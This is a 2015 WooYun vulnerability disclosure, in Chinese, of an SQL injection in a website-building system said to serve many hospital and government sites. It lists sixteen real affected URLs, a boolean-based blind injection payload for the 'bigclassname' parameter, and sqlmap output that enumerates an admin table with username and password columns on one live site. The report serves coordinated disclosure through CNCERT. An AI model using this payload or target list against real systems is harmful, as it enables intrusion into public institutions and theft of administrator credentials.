当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-096306

漏洞标题:某建站系统存在SQL注入[影响大量医院和政府站]

相关厂商:日照和和网络科技有限公司

漏洞作者: 路人甲

提交时间:2015-02-13 13:49

修复时间:2015-05-18 08:24

公开时间:2015-05-18 08:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-13: 细节已通知厂商并且等待厂商处理中
2015-02-17: 厂商已经确认,细节仅向厂商公开
2015-02-20: 细节向第三方安全合作伙伴开放
2015-04-13: 细节向核心白帽子及相关领域专家公开
2015-04-23: 细节向普通白帽子公开
2015-05-03: 细节向实习白帽子公开
2015-05-18: 细节向公众公开

简要描述:

某建站系统存在SQL注入[影响大量医院和政府站]

详细说明:

日照和和网络科技有限公司开发的建站系统存在SQL注入[影响大量医院和政府站]
案例:
http://www.jxxm.gov.cn/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxywj.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxzxwsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxgzwsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxazwsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxbjy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxzlyy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxqswsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxsywsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxqsyy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxlyjw.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxjhfzs.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxjsws.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxcywsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxlswsy.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9
http://www.jxjbkz.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9

漏洞证明:

bigclassname参数存在注入
我们拿http://www.jxywj.com/mucc/news.asp?bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9进行测试

Place: GET
Parameter: bigclassname
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9' AND 8838=8838 AND 'dgfP'='dg
fP
---
[14:34:25] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[14:34:25] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:34:25] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[14:34:25] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:34:25] [INFO] retrieved:
[14:34:25] [WARNING] reflective value(s) found and filtering out
[14:34:25] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[14:34:25] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[14:34:25] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[14:34:28] [INFO] checking table existence using items from 'D:\python\sqlmap\tx
t\common-tables.txt'
[14:34:28] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 9
[14:34:29] [INFO] starting 9 threads
[14:34:35] [INFO] retrieved: admin
[14:34:43] [INFO] retrieved: news
[14:35:25] [INFO] retrieved: feedback
Database: Microsoft_Access_masterdb
[3 tables]
+----------+
| admin |
| feedback |
| news |
+----------+


Place: GET
Parameter: bigclassname
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: bigclassname=%D0%D0%D5%FE%D0%ED%BF%C9' AND 8838=8838 AND 'dgfP'='dg
fP
---
[14:44:42] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
[14:44:42] [ERROR] cannot retrieve column names, back-end DBMS is Access
do you want to use common column existence check? [Y/n/q] y
[14:45:28] [WARNING] reflective value(s) found and filtering out
[14:45:28] [INFO] checking column existence using items from 'D:\python\sqlmap\t
xt\common-columns.txt'
[14:45:28] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 9
[14:45:29] [INFO] starting 9 threads
[14:45:30] [INFO] retrieved: id
[14:45:31] [INFO] retrieved: title
[14:45:31] [INFO] retrieved: username
[14:45:51] [INFO] retrieved: password
[14:46:29] [INFO] retrieved: user
[14:47:15] [INFO] retrieved: content
Database: Microsoft_Access_masterdb
Table: admin
[6 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| user | non-numeric |
| content | non-numeric |
| id | numeric |
| password | non-numeric |
| title | non-numeric |
| username | non-numeric |
+----------+-------------+

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-02-17 08:23

厂商回复:

最新状态:

暂无